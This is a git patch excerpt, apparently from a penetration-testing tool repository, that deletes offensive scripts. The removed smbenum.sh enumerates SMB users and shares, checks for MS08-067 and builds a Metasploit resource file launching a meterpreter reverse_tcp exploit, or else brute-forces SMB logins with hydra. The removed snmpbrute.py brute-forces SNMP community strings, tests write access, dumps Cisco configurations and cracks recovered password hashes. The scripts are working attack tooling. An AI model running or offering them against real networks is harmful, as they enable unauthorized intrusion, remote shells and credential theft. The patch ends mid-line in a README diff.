Retrying...\n"; - return undef; - } - unless (defined($socket)) { - $failcount++; - } - if ($failcount > $global_connect_fail_count) { - die "ERROR: failed to connect $global_connect_fail_count times\n"; - } - } - return $socket; -} - -sub print_section { - my ($string) = @_; - print "\n=== $string ===\n\n"; -} - -sub resolve { - my $hostname = shift; - print "[D] Resolving $hostname\n" if $debug > 0; - my $ip = gethostbyname($hostname); - if (defined($ip)) { - return inet_ntoa($ip); - } else { - return undef; - } -} - -# Perl Cookbook, Tie Example: Multiple Sink Filehandles -package Tie::Tee; - -sub TIEHANDLE { - my $class = shift; - my $handles = [@_]; - bless $handles, $class; - return $handles; -} - -sub PRINT { - my $href = shift; - my $handle; - my $success = 0; - foreach $handle (@$href) { - $success += print $handle @_; - } - return $success == @$href; -} - -sub PRINTF { - my $href = shift; - my $handle; - my $success = 0; - foreach $handle (@$href) { - $success += printf $handle @_; - } - return $success == @$href; -} - -1; - diff --git a/scripts/smbenum.sh b/scripts/smbenum.sh deleted file mode 100644 index 34e11b40..00000000 --- a/scripts/smbenum.sh +++ /dev/null @@ -1,79 +0,0 @@ -#!/bin/bash -# smbenum 0.2 - This script will enumerate SMB using every tool in the arsenal -# SECFORCE - Antonio Quina -# All credits to Bernardo Damele A. G. for the ms08-067_check.py script - -IFACE="eth0" - -if [ $# -eq 0 ] - then - echo "Usage: $0 " - echo "eg: $0 10.10.10.10" - exit - else - IP="$1" -fi - -echo -e "\n########## Getting Netbios name ##########" -nbtscan -v -h $IP - -echo -e "\n########## Checking for NULL sessions ##########" -output=`bash -c "echo 'srvinfo' | rpcclient $IP -U%"` -echo $output - -echo -e "\n########## Enumerating domains ##########" -bash -c "echo 'enumdomains' | rpcclient $IP -U%" - -echo -e "\n########## Enumerating password and lockout policies ##########" -polenum $IP - -echo -e "\n########## Enumerating users ##########" -nmap -Pn -T4 -sS -p139,445 --script=smb-enum-users $IP -bash -c "echo 'enumdomusers' | rpcclient $IP -U%" -bash -c "echo 'enumdomusers' | rpcclient $IP -U%" | cut -d[ -f2 | cut -d] -f1 > /tmp/$IP-users.txt - -echo -e "\n########## Enumerating Administrators ##########" -net rpc group members "Administrators" -I $IP -U% - -echo -e "\n########## Enumerating Domain Admins ##########" -net rpc group members "Domain Admins" -I $IP -U% - -echo -e "\n########## Enumerating groups ##########" -nmap -Pn -T4 -sS -p139,445 --script=smb-enum-groups $IP - -echo -e "\n########## Enumerating shares ##########" -nmap -Pn -T4 -sS -p139,445 --script=smb-enum-shares $IP - -#echo -e "\n########## Checking for common vulnerabilities ##########" -#nmap -Pn -T4 -sS -p139,445 --script=smb-check-vulns $IP -#nmap -Pn -T4 -sS -p139,445 --script=smb-check-vulns --script-args=unsafe=1 $IP -#echo -e "\nChecking for MS08-067 with metasploit. It could take a while.." -#vulnerable=`msfcli exploits/windows/smb/ms08_067_netapi RHOST=$IP C` -echo -e "\nChecking for MS08-067.." -vulnerable=`python ./scripts/ms08-067_check.py -t $IP -s` -echo $vulnerable - -#if [[ $vulnerable == *"The target is vulnerable"* ]] -if [[ $vulnerable == *"VULNERABLE"* ]] - then - echo "Oh yeah! The target is vulnerable!" - MYIP=$(ifconfig $IFACE | awk -F'[: ]+' '/inet addr:/ {print $4}') - echo "use exploits/windows/smb/ms08_067_netapi" > /tmp/$IP-netapi.rc - echo "set payload windows/meterpreter/reverse_tcp" >> /tmp/$IP-netapi.rc - echo "set RHOST $IP" >> /tmp/$IP-netapi.rc - echo "set LHOST $MYIP" >> /tmp/$IP-netapi.rc - echo "set LPORT 443" >> /tmp/$IP-netapi.rc - echo "set ExitOnSession false" >> /tmp/$IP-netapi.rc - echo "exploit -j" >> /tmp/$IP-netapi.rc - - echo -e "\nTo exploit this host now use:" - echo -e "msfconsole -r /tmp/$IP-netapi.rc" - else - echo "The target is NOT vulnerable!" - echo -e "\n########## Bruteforcing all users with 'password', blank and username as password" - hydra -e ns -L /tmp/$IP-users.txt -p password $IP smb -t 1 - rm /tmp/$IP-users.txt - - echo -e "\n\nTo get a shell use:" - echo -e "/usr/local/bin/psexec.py :@$IP cmd.exe\n" -fi diff --git a/scripts/snmpbrute.py b/scripts/snmpbrute.py deleted file mode 100644 index 97a68a45..00000000 --- a/scripts/snmpbrute.py +++ /dev/null @@ -1,789 +0,0 @@ -#!/usr/bin/env python -# SNMP Bruteforce & Enumeration Script -# Requires metasploit, snmpwalk, snmpstat and john the ripper -__version__ = 'v1.0b' -from socket import socket, SOCK_DGRAM, AF_INET, timeout -from random import randint -from time import sleep -import optparse, sys, os -from subprocess import Popen, PIPE -import struct -import threading, thread -import tempfile - -from scapy.all import (SNMP, SNMPnext, SNMPvarbind, ASN1_OID, SNMPget, ASN1_DECODING_ERROR, ASN1_NULL, ASN1_IPADDRESS, - SNMPset, SNMPbulk, IP) - -########################################################################################################## -# Defaults -########################################################################################################## -class defaults: - rate=30.0 - timeOut=2.0 - port=161 - delay=2 - interactive=True - verbose=False - getcisco=True - colour=True - -default_communities=['','0','0392a0','1234','2read','3com','3Com','3COM','4changes','access','adm','admin','Admin','administrator','agent','agent_steal','all','all private','all public','anycom','ANYCOM','apc','bintec','blue','boss','c','C0de','cable-d','cable_docsispublic@es0','cacti','canon_admin','cascade','cc','changeme','cisco','CISCO','cmaker','comcomcom','community','core','CR52401','crest','debug','default','demo','dilbert','enable','entry','field','field-service','freekevin','friend','fubar','guest','hello','hideit','host','hp_admin','ibm','IBM','ilmi','ILMI','intel','Intel','intermec','Intermec','internal','internet','ios','isdn','l2','l3','lan','liteon','login','logon','lucenttech','lucenttech1','lucenttech2','manager','master','microsoft','mngr','mngt','monitor','mrtg','nagios','net','netman','network','nobody','NoGaH$@!','none','notsopublic','nt','ntopia','openview','operator','OrigEquipMfr','ourCommStr','pass','passcode','password','PASSWORD','pr1v4t3','pr1vat3','private',' private','private ','Private','PRIVATE','private@es0','Private@es0','private@es1','Private@es1','proxy','publ1c','public',' public','public ','Public','PUBLIC','public@es0','public@es1','public/RO','read','read-only','readwrite','read-write','red','regional','','rmon','rmon_admin','ro','root','router','rw','rwa','sanfran','san-fran','scotty','secret','Secret','SECRET','Secret C0de','security','Security','SECURITY','seri','server','snmp','SNMP','snmpd','snmptrap','snmp-Trap','SNMP_trap','SNMPv1/v2c','SNMPv2c','solaris','solarwinds','sun','SUN','superuser','supervisor','support','switch','Switch','SWITCH','sysadm','sysop','Sysop','system','System','SYSTEM','tech','telnet','TENmanUFactOryPOWER','test','TEST','test2','tiv0li','tivoli','topsecret','traffic','trap','user','vterm1','watch','watchit','windows','windowsnt','workstation','world','write','writeit','xyzzy','yellow','ILMI'] - -########################################################################################################## -# OID's -########################################################################################################## -''' Credits -Some OID's borowed from Cisc0wn script -# Cisc0wn - The Cisco SNMP 0wner. -# Daniel Compton -# www.commonexploits.com -# contact@commexploits.com -''' - -RouteOIDS={ - 'ROUTDESTOID': [".1.3.6.1.2.1.4.21.1.1", "Destination"], - 'ROUTHOPOID': [".1.3.6.1.2.1.4.21.1.7", "Next Hop"], - 'ROUTMASKOID': [".1.3.6.1.2.1.4.21.1.11", "Mask"], - 'ROUTMETOID': [".1.3.6.1.2.1.4.21.1.3", "Metric"], - 'ROUTINTOID': [".1.3.6.1.2.1.4.21.1.2", "Interface"], - 'ROUTTYPOID': [".1.3.6.1.2.1.4.21.1.8", "Route type"], - 'ROUTPROTOID': [".1.3.6.1.2.1.4.21.1.9", "Route protocol"], - 'ROUTAGEOID': [".1.3.6.1.2.1.4.21.1.10", "Route age"] -} - -InterfaceOIDS={ - #Interface Info - 'INTLISTOID': [".1.3.6.1.2.1.2.2.1.2", "Interfaces"], - 'INTIPLISTOID': [".1.3.6.1.2.1.4.20.1.1", "IP address"], - 'INTIPMASKOID': [".1.3.6.1.2.1.4.20.1.3", "Subnet mask"], - 'INTSTATUSLISTOID':[".1.3.6.1.2.1.2.2.1.8", "Status"] -} - -ARPOIDS={ - # Arp table - 'ARPADDR': [".1.3.6.1.2.1.3.1 ","ARP address method A"], - 'ARPADDR2': [".1.3.6.1.2.1.3.1 ","ARP address method B"] -} - -OIDS={ - 'SYSTEM':["iso.3.6.1.2.1.1 ","SYSTEM Info"] -} - -snmpstat_args={ - 'Interfaces':["-Ci","Interface Info"], - 'Routing':["-Cr","Route Info"], - 'Netstat':["","Netstat"], - #'Statistics':["-Cs","Stats"] -} - -'''Credits -The following OID's are borrowed from snmpenum.pl script -# ----by filip waeytens 2003---- -# ---- DA SCANIT CREW www.scanit.be ---- -# filip.waeytens@hushmail.com -''' - -WINDOWS_OIDS={ - 'RUNNING PROCESSES': ["1.3.6.1.2.1.25.4.2.1.2","Running Processes"], - 'INSTALLED SOFTWARE': ["1.3.6.1.2.1.25.6.3.1.2","Installed Software"], - 'SYSTEM INFO': ["1.3.6.1.2.1.1","System Info"], - 'HOSTNAME': ["1.3.6.1.2.1.1.5","Hostname"], - 'DOMAIN': ["1.3.6.1.4.1.77.1.4.1","Domain"], - 'USERS': ["1.3.6.1.4.1.77.1.2.25","Users"], - 'UPTIME': ["1.3.6.1.2.1.1.3","UpTime"], - 'SHARES': ["1.3.6.1.4.1.77.1.2.27","Shares"], - 'DISKS': ["1.3.6.1.2.1.25.2.3.1.3","Disks"], - 'SERVICES': ["1.3.6.1.4.1.77.1.2.3.1.1","Services"], - 'LISTENING TCP PORTS': ["1.3.6.1.2.1.6.13.1.3.0.0.0.0","Listening TCP Ports"], - 'LISTENING UDP PORTS': ["1.3.6.1.2.1.7.5.1.2.0.0.0.0","Listening UDP Ports"] -} - -LINUX_OIDS={ - 'RUNNING PROCESSES': ["1.3.6.1.2.1.25.4.2.1.2","Running Processes"], - 'SYSTEM INFO': ["1.3.6.1.2.1.1","System Info"], - 'HOSTNAME': ["1.3.6.1.2.1.1.5","Hostname"], - 'UPTIME': ["1.3.6.1.2.1.1.3","UpTime"], - 'MOUNTPOINTS': ["1.3.6.1.2.1.25.2.3.1.3","MountPoints"], - 'RUNNING SOFTWARE PATHS': ["1.3.6.1.2.1.25.4.2.1.4","Running Software Paths"], - 'LISTENING UDP PORTS': ["1.3.6.1.2.1.7.5.1.2.0.0.0.0","Listening UDP Ports"], - 'LISTENING TCP PORTS': ["1.3.6.1.2.1.6.13.1.3.0.0.0.0","Listening TCP Ports"] -} - -CISCO_OIDS={ - 'LAST TERMINAL USERS': ["1.3.6.1.4.1.9.9.43.1.1.6.1.8","Last Terminal User"], - 'INTERFACES': ["1.3.6.1.2.1.2.2.1.2","Interfaces"], - 'SYSTEM INFO': ["1.3.6.1.2.1.1.1","System Info"], - 'HOSTNAME': ["1.3.6.1.2.1.1.5","Hostname"], - 'SNMP Communities': ["1.3.6.1.6.3.12.1.3.1.4","Communities"], - 'UPTIME': ["1.3.6.1.2.1.1.3","UpTime"], - 'IP ADDRESSES': ["1.3.6.1.2.1.4.20.1.1","IP Addresses"], - 'INTERFACE DESCRIPTIONS': ["1.3.6.1.2.1.31.1.1.1.18","Interface Descriptions"], - 'HARDWARE': ["1.3.6.1.2.1.47.1.1.1.1.2","Hardware"], - 'TACACS SERVER': ["1.3.6.1.4.1.9.2.1.5","TACACS Server"], - 'LOG MESSAGES': ["1.3.6.1.4.1.9.9.41.1.2.3.1.5","Log Messages"], - 'PROCESSES': ["1.3.6.1.4.1.9.9.109.1.2.1.1.2","Processes"], - 'SNMP TRAP SERVER': ["1.3.6.1.6.3.12.1.2.1.7","SNMP Trap Server"] -} - -########################################################################################################## -# Classes -########################################################################################################## - -class SNMPError(Exception): - '''Credits - Class copied from sploitego project - __original_author__ = 'Nadeem Douba' - https://github.com/allfro/sploitego/blob/master/src/sploitego/scapytools/snmp.py - ''' - pass - -class SNMPVersion: - '''Credits - Class copied from sploitego project - __original_author__ = 'Nadeem Douba' - https://github.com/allfro/sploitego/blob/master/src/sploitego/scapytools/snmp.py - ''' - v1 = 0 - v2c = 1 - v3 = 2 - - @classmethod - def iversion(cls, v): - if v in ['v1', '1']: - return cls.v1 - elif v in ['v2', '2', 'v2c']: - return cls.v2c - elif v in ['v3', '3']: - return cls.v3 - raise ValueError('No such version %s' % v) - - @classmethod - def sversion(cls, v): - if not v: - return 'v1' - elif v == 1: - return 'v2c' - elif v == 2: - return 'v3' - raise ValueError('No such version number %s' % v) - -class SNMPBruteForcer(object): - #This class is used for the sploitego method of bruteforce (--sploitego) - '''Credits - Class copied from sploitego project - __original_author__ = 'Nadeem Douba' - https://github.com/allfro/sploitego/blob/master/src/sploitego/scapytools/snmp.py - ''' - def __init__(self, agent, port=161, version='v2c', timeout=0.5, rate=1000): - self.version = SNMPVersion.iversion(version) - self.s = socket(AF_INET, SOCK_DGRAM) - self.s.settimeout(timeout) - self.addr = (agent, port) - self.rate = rate - - def guess(self, communities): - - p = SNMP( - version=self.version, - PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1.0'))]) - ) - r = [] - for c in communities: - i = randint(0, 2147483647) - p.PDU.id = i - p.community = c - self.s.sendto(str(p), self.addr) - sleep(1/self.rate) - while True: - try: - p = SNMP(self.s.recvfrom(65535)[0]) - except timeout: - break - r.append(p.community.val) - return r - - def __del__(self): - self.s.close() - -class SNMPResults: - addr='' - version='' - community='' - write=False - - def __eq__(self, other): - return self.addr == other.addr and self.version == other.version and self.community == other.community - -########################################################################################################## -# Colour output functions -########################################################################################################## - -# for color output -BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE = range(8) - -#following from Python cookbook, #475186 -def has_colours(stream): - if not hasattr(stream, "isatty"): - return False - if not stream.isatty(): - return False # auto color only on TTYs - try: - import curses - curses.setupterm() - return curses.tigetnum("colors") > 2 - except: - # guess false in case of error - return False -has_colours = has_colours(sys.stdout) - -def printout(text, colour=WHITE): - - if has_colours and defaults.colour: - seq = "\x1b[1;%dm" % (30+colour) + text + "\x1b[0m\n" - sys.stdout.write(seq) - else: - #sys.stdout.write(text) - print text - - -########################################################################################################## -# -########################################################################################################## - -def banner(art=True): - if art: - print >> sys.stderr, " _____ _ ____ _______ ____ __ " - print >> sys.stderr, " / ___// | / / |/ / __ \\ / __ )_______ __/ /____ " - print >> sys.stderr, " \\__ \\/ |/ / /|_/ / /_/ / / __ / ___/ / / / __/ _ \\" - print >> sys.stderr, " ___/ / /| / / / / ____/ / /_/ / / / /_/ / /_/ __/" - print >> sys.stderr, "/____/_/ |_/_/ /_/_/ /_____/_/ \\__,_/\\__/\\___/ " - print >> sys.stderr, "" - print >> sys.stderr, "SNMP Bruteforce & Enumeration Script " + __version__ - print >> sys.stderr, "http://www.secforce.com / nikos.vassakis secforce.com" - print >> sys.stderr, "###############################################################" - print >> sys.stderr, "" - -def listener(sock,results): - while True: - try: - response,addr=SNMPrecv(sock) - except timeout: - continue - except KeyboardInterrupt: - break - except: - break - r=SNMPResults() - r.addr=addr - r.version=SNMPVersion.sversion(response.version.val) - r.community=response.community.val - results.append(r) - printout (('%s : %s \tVersion (%s):\t%s' % (str(addr[0]),str(addr[1]), SNMPVersion.sversion(response.version.val),response.community.val)),WHITE) - -def SNMPrecv(sock): - try: - recv,addr=sock.recvfrom(65535) - response = SNMP(recv) - return response,addr - except: - raise - -def SNMPsend(sock, packets, ip, port=defaults.port, community='', rate=defaults.rate): - addr = (ip, port) - for packet in packets: - i = randint(0, 2147483647) - packet.PDU.id = i - packet.community = community - sock.sendto(str(packet), addr) - sleep(1/rate) - -def SNMPRequest(result,OID, value='', TimeOut=defaults.timeOut): - s = socket(AF_INET, SOCK_DGRAM) - s.settimeout(TimeOut) - response='' - r=result - - version = SNMPVersion.iversion(r.version) - if value: - p = SNMP( - version=version, - PDU=SNMPset(varbindlist=[SNMPvarbind(oid=ASN1_OID(OID), value=value)]) - ) - else: - p = SNMP( - version=version, - PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID(OID))]) - ) - - SNMPsend(s,p,r.addr[0],r.addr[1],r.community) - for x in range(0, 5): - try: - response,addr=SNMPrecv(s) - break - except timeout: # if request times out retry - sleep(0.5) - continue - s.close - if not response: - raise timeout - return response - -def testSNMPWrite(results,options,OID='.1.3.6.1.2.1.1.4.0'): - #Alt .1.3.6.1.2.1.1.5.0 - - setval='HASH(0xDEADBEF)' - for r in results: - try: - originalval=SNMPRequest(r,OID) - - if originalval: - originalval=originalval[SNMPvarbind].value.val - - SNMPRequest(r,OID,setval) - curval=SNMPRequest(r,OID)[SNMPvarbind].value.val - - if curval == setval: - r.write=True - try: - SNMPRequest(r,OID,originalval) - except timeout: - pass - if options.verbose: printout (('\t %s (%s) (RW)' % (r.community,r.version)),GREEN) - curval=SNMPRequest(r,OID)[SNMPvarbind].value.val - if curval != originalval: - printout(('Couldn\'t restore value to: %s (OID: %s)' % (str(originalval),str(OID))),RED) - else: - if options.verbose: printout (('\t %s (%s) (R)' % (r.community,r.version)),BLUE) - else: - r.write=None - printout (('\t %s (%s) (Failed)' % (r.community,r.version)),RED) - except timeout: - r.write=None - printout (('\t %s (%s) (Failed!)' % (r.community,r.version)),RED) - continue - -def generic_snmpwalk(snmpwalk_args,oids): - for key, val in oids.items(): - try: - printout(('################## Enumerating %s Table using: %s (%s)'%(key,val[0],val[1])),YELLOW) - entry={} - out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+' | cut -d\'=\' -f 2').readlines() - - print '\tINFO' - print '\t----\t' - for i in out: - print '\t',i.strip() - print '\n' - except KeyboardInterrupt: - pass - -def enumerateSNMPWalk(result,options): - r=result - - snmpwalk_args=' -c "'+r.community+'" -'+r.version+' '+str(r.addr[0])+':'+str(r.addr[1]) - - ############################################################### Enumerate OS - if options.windows: - generic_snmpwalk(snmpwalk_args,WINDOWS_OIDS) - return - if options.linux: - generic_snmpwalk(snmpwalk_args,LINUX_OIDS) - return - if options.cisco: - generic_snmpwalk(snmpwalk_args,CISCO_OIDS) - - ############################################################### Enumerate CISCO Specific - ############################################################### Enumerate Routes - entry={} - out=os.popen('snmpwalk'+snmpwalk_args+' '+'.1.3.6.1.2.1.4.21.1.1'+' '+'| awk \'{print $NF}\' 2>&1''').readlines() - lines = len(out) - - printout('################## Enumerating Routing Table (snmpwalk)',YELLOW) - try: - for key, val in RouteOIDS.items(): #Enumerate Routes - #print '\t *',val[1], val[0] - out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+'| awk \'{print $NF}\' 2>&1').readlines() - - entry[val[1]]=out - - - print '\tDestination\t\tNext Hop\tMask\t\t\tMetric\tInterface\tType\tProtocol\tAge' - print '\t-----------\t\t--------\t----\t\t\t------\t---------\t----\t--------\t---' - for j in range(lines): - log.info( '\t'+entry['Destination'][j].strip().ljust(12,' ') + - '\t\t'+entry['Next Hop'][j].strip().ljust(12,' ') + - '\t'+entry['Mask'][j].strip().ljust(12,' ') + - '\t\t'+entry['Metric'][j].strip().center(6,' ') + - '\t'+entry['Interface'][j].strip().center(10,' ') + - '\t'+entry['Route type'][j].strip().center(4,' ') + - '\t'+entry['Route protocol'][j].strip().center(8,' ') + - '\t'+entry['Route age'][j].strip().center(3,' ') - ) - except KeyboardInterrupt: - pass - - ############################################################### Enumerate Arp - print '\n' - for key, val in ARPOIDS.items(): - try: - printout(('################## Enumerating ARP Table using: %s (%s)'%(val[0],val[1])),YELLOW) - entry={} - out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+' | cut -d\'=\' -f 2 | cut -d\':\' -f 2').readlines() - - lines=len(out)/3 - - entry['V']=out[0*lines:1*lines] - entry['MAC']=out[1*lines:2*lines] - entry['IP']=out[2*lines:3*lines] - - - print '\tIP\t\tMAC\t\t\tV' - print '\t--\t\t---\t\t\t--' - for j in range(lines): - log.info( '\t'+entry['IP'][j].strip().ljust(12,' ') + - '\t'+entry['MAC'][j].strip().ljust(18,' ') + - '\t'+entry['V'][j].strip().ljust(2,' ') - ) - print '\n' - except KeyboardInterrupt: - pass - - ############################################################### Enumerate SYSTEM - for key, val in OIDS.items(): - try: - printout(('################## Enumerating %s Table using: %s (%s)'%(key,val[0],val[1])),YELLOW) - entry={} - out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+' | cut -d\'=\' -f 2').readlines() - - print '\tINFO' - print '\t----\t' - for i in out: - print '\t',i.strip() - print '\n' - except KeyboardInterrupt: - pass - ############################################################### Enumerate Interfaces - for key, val in snmpstat_args.items(): - try: - printout(('################## Enumerating %s Table using: %s (%s)'%(key,val[0],val[1])),YELLOW) - out=os.popen('snmpnetstat'+snmpwalk_args+' '+val[0]).readlines() - - for i in out: - print '\t',i.strip() - print '\n' - except KeyboardInterrupt: - pass - -def get_cisco_config(result,options): - printout(('################## Trying to get config with: %s'% result.community),YELLOW) - - identified_ip=os.popen('ifconfig eth0 |grep "inet addr:" |cut -d ":" -f 2 |awk \'{ print $1 }\'').read() - - if options.interactive: - Local_ip = raw_input('Enter Local IP ['+str(identified_ip).strip()+']:') or identified_ip.strip() - else: - Local_ip = identified_ip.strip() - - if not (os.path.isdir("./output")): - os.popen('mkdir output') - - p=Popen('msfcli auxiliary/scanner/snmp/cisco_config_tftp RHOSTS='+str(result.addr[0])+' LHOST='+str(Local_ip)+' COMMUNITY="'+result.community+'" OUTPUTDIR=./output RETRIES=1 RPORT='+str(result.addr[1])+' THREADS=5 VERSION='+result.version.replace('v','')+' E ',shell=True,stdin=PIPE,stdout=PIPE, stderr=PIPE) #>/dev/null 2>&1 - - - print 'msfcli auxiliary/scanner/snmp/cisco_config_tftp RHOSTS='+str(result.addr[0])+' LHOST='+str(Local_ip)+' COMMUNITY="'+result.community+'" OUTPUTDIR=./output RETRIES=1 RPORT='+str(result.addr[1])+' THREADS=5 VERSION='+result.version.replace('v','')+' E ' - - out=[] - while p.poll() is None: - line=p.stdout.readline() - out.append(line) - print '\t',line.strip() - - printout('################## Passwords Found:',YELLOW) - encrypted=[] - for i in out: - if "Password" in i: - print '\t',i.strip() - if "Encrypted" in i: - encrypted.append(i.split()[-1]) - - if encrypted: - print '\nCrack encrypted password(s)?' - for i in encrypted: - print '\t',i - - #if (False if raw_input("(Y/n):").lower() == 'n' else True): - if not get_input("(Y/n):",'n',options): - - with open('./hashes', 'a') as f: - for i in encrypted: - f.write(i+'\n') - - p=Popen('john ./hashes',shell=True,stdin=PIPE,stdout=PIPE,stderr=PIPE) - while p.poll() is None: - print '\t',p.stdout.readline() - print 'Passwords Cracked:' - out=os.popen('john ./hashes --show').readlines() - for i in out: - print '\t', i.strip() - - out=[] - while p.poll() is None: - line=p.stdout.readline() - out.append(line) - print '\t',line.strip() - -def select_community(results,options): - default=None - try: - printout("\nIdentified Community strings",WHITE) - - for l,r in enumerate(results): - if r.write==True: - printout ('\t%s) %s %s (%s)(RW)'%(l,str(r.addr[0]).ljust(15,' '),str(r.community),str(r.version)),GREEN) - default=l - elif r.write==False: - printout ('\t%s) %s %s (%s)(RO)'%(l,str(r.addr[0]).ljust(15,' '),str(r.community),str(r.version)),BLUE) - else: - printout ('\t%s) %s %s (%s)'%(l,str(r.addr[0]).ljust(15,' '),str(r.community),str(r.version)),RED) - - if default is None: - default = l - - if not options.enum: - return - - if options.interactive: - selection=raw_input("Select Community to Enumerate ["+str(default)+"]:") - if not selection: - selection=default - else: - selection=default - - try: - return results[int(selection)] - except: - return results[l] - except KeyboardInterrupt: - exit(0) - -def SNMPenumeration(result,options): - getcisco=defaults.getcisco - try: - printout (("\nEnumerating with READ-WRITE Community string: %s (%s)" % (result.community,result.version)),YELLOW) - enumerateSNMPWalk(result,options) - - if options.windows or options.linux: - if not get_input("Get Cisco Config (y/N):",'y',options): - getcisco=False - if getcisco: - get_cisco_config(result,options) - except KeyboardInterrupt: - print '\n' - return - -def password_brutefore(options, communities, ips): - s = socket(AF_INET, SOCK_DGRAM) - s.settimeout(options.timeOut) - - results=[] - - #Start the listener - T = threading.Thread(name='listener', target=listener, args=(s,results,)) - T.start() - - # Craft SNMP's for both versions - p1 = SNMP( - version=SNMPVersion.iversion('v1'), - PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1.0'))]) - ) - p2c = SNMP( - version=SNMPVersion.iversion('v2c'), - PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1.0'))]) - ) - - packets = [p1, p2c] - - #We try each community string - for i,community in enumerate(communities): - #sys.stdout.write('\r{0}'.format('.' * i)) - #sys.stdout.flush() - for ip in ips: - SNMPsend(s, packets, ip, options.port, community.rstrip(), options.rate) - - #We read from STDIN if necessary - if options.stdin: - while True: - try: - try: - community=raw_input().strip('\n') - for ip in ips: - SNMPsend(s, packets, ip, options.port, community, options.rate) - except EOFError: - break - except KeyboardInterrupt: - break - - try: - print "Waiting for late packets (CTRL+C to stop)" - sleep(options.timeOut+options.delay) #Waiting in case of late response - except KeyboardInterrupt: - pass - T._Thread__stop() - s.close - - #We remove any duplicates. This relies on the __equal__ - newlist = [] - for i in results: - if i not in newlist: - newlist.append(i) - return newlist - -def get_input(string,non_default_option,options): - #(True if raw_input("Enumerate with different community? (Y/n):").lower() == 'n' else False) - - if options.interactive: - if raw_input(string).lower() == non_default_option: - return True - else: - return False - else: - print string - return False - -def main(): - - parser = optparse.OptionParser(formatter=optparse.TitledHelpFormatter()) - - parser.set_usage("python snmp-brute.py -t -f ") - #parser.add_option('-h','--help', help='Show this help message and exit', action=parser.print_help()) - parser.add_option('-f','--file', help='Dictionary file', dest='dictionary', action='store') - parser.add_option('-t','--target', help='Host IP', dest='ip', action='store') - parser.add_option('-p','--port', help='SNMP port', dest='port', action='store', type='int',default=defaults.port) - - - groupAlt = optparse.OptionGroup(parser, "Alternative Options") - groupAlt.add_option('-s','--stdin', help='Read communities from stdin', dest='stdin', action='store_true',default=False) - groupAlt.add_option('-c','--community', help='Single Community String to use', dest='community', action='store') - groupAlt.add_option('--sploitego', help='Sploitego\'s bruteforce method', dest='sploitego', action='store_true',default=False) - - - groupAuto = optparse.OptionGroup(parser, "Automation") - groupAuto.add_option('-b','--bruteonly', help='Do not try to enumerate - only bruteforce', dest='enum', action='store_false',default=True) - groupAuto.add_option('-a','--auto', help='Non Interactive Mode', dest='interactive', action='store_false',default=True) - groupAuto.add_option('--no-colours', help='No colour output', dest='colour', action='store_false',default=True) - - groupAdvanced = optparse.OptionGroup(parser, "Advanced") - groupAdvanced.add_option('-r','--rate', help='Send rate', dest='rate', action='store',type='float', default=defaults.rate) - groupAdvanced.add_option('--timeout', help='Wait time for UDP response (in seconds)', dest='timeOut', action='store', type='float' ,default=defaults.timeOut) - groupAdvanced.add_option('--delay', help='Wait time after all packets are send (in seconds)', dest='delay', action='store', type='float' ,default=defaults.delay) - - groupAdvanced.add_option('--iplist', help='IP list file', dest='lfile', action='store') - groupAdvanced.add_option('-v','--verbose', help='Verbose output', dest='verbose', action='store_true',default=False) - - groupOS = optparse.OptionGroup(parser, "Operating Systems") - groupOS.add_option('--windows', help='Enumerate Windows OIDs (snmpenum.pl)', dest='windows', action='store_true',default=False) - groupOS.add_option('--linux', help='Enumerate Linux OIDs (snmpenum.pl)', dest='linux', action='store_true',default=False) - groupOS.add_option('--cisco', help='Append extra Cisco OIDs (snmpenum.pl)', dest='cisco', action='store_true',default=False) - - parser.add_option_group(groupAdvanced) - parser.add_option_group(groupAuto) - parser.add_option_group(groupOS) - parser.add_option_group(groupAlt) - - (options, arguments) = parser.parse_args() - - communities=[] - ips=[] - - banner(options.colour) #For SPARTA!!! - - if not options.ip and not options.lfile: - #Can't continue without target - parser.print_help() - exit(0) - else: - # Create the list of targets - if options.lfile: - try: - with open(options.lfile) as t: - ips = t.read().splitlines() #Potential DoS - except: - print "Could not open targets file: " + options.lfile - exit(0) - else: - ips.append(options.ip) - - if not options.colour: - defaults.colour=False - - # Create the list of communities - if options.dictionary: # Read from file - with open(options.dictionary) as f: - communities=f.read().splitlines() #Potential DoS - elif options.community: # Single community - communities.append(options.community) - elif options.stdin: # Read from input - communities=[] - else: #if not options.community and not options.dictionary and not options.stdin: - communities=default_communities - - #We ensure that default communities are included - #if 'public' not in communities: - # communities.append('public') - #if 'private' not in communities: - # communities.append('private') - - if options.stdin: - options.interactive=False - - results=[] - - if options.stdin: - print >> sys.stderr, "Reading input for community strings ..." - else: - print >> sys.stderr, "Trying %d community strings ..." % len(communities) - - if options.sploitego: #sploitego method of bruteforce - if ips: - for ip in ips: - for version in ['v1', 'v2c']: - bf = SNMPBruteForcer(ip, options.port, version, options.timeOut,options.rate) - result=bf.guess(communities) - for i in result: - r=SNMPResults() - r.addr=(ip,options.port) - r.version=version - r.community=i - results.append(r) - print ip, version+'\t',result - else: - parser.print_help() - - else: - results = password_brutefore(options, communities, ips) - - #We identify whether the community strings are read or write - if results: - printout("\nTrying identified strings for READ-WRITE ...",WHITE) - testSNMPWrite(results,options) - else: - printout("\nNo Community strings found",RED) - exit(0) - - #We attempt to enumerate the router - while options.enum: - SNMPenumeration(select_community(results,options),options) - - #if (True if raw_input("Enumerate with different community? (Y/n):").lower() == 'n' else False): - if get_input("Enumerate with different community? (y/N):",'y',options): - continue - else: - break - - if not options.enum: - select_community(results,options) - - print "Finished!" - -if __name__ == "__main__": - main() From 79cb893cc25de9331c330af9821bae28338be31d Mon Sep 17 00:00:00 2001 From: GitHub Date: Fri, 7 Dec 2018 13:38:29 -0600 Subject: [PATCH 058/450] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index b6639953..bec2ae1f 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,6 @@ LEGION 0.2.3 (https://govanguard.io) == +[![Known 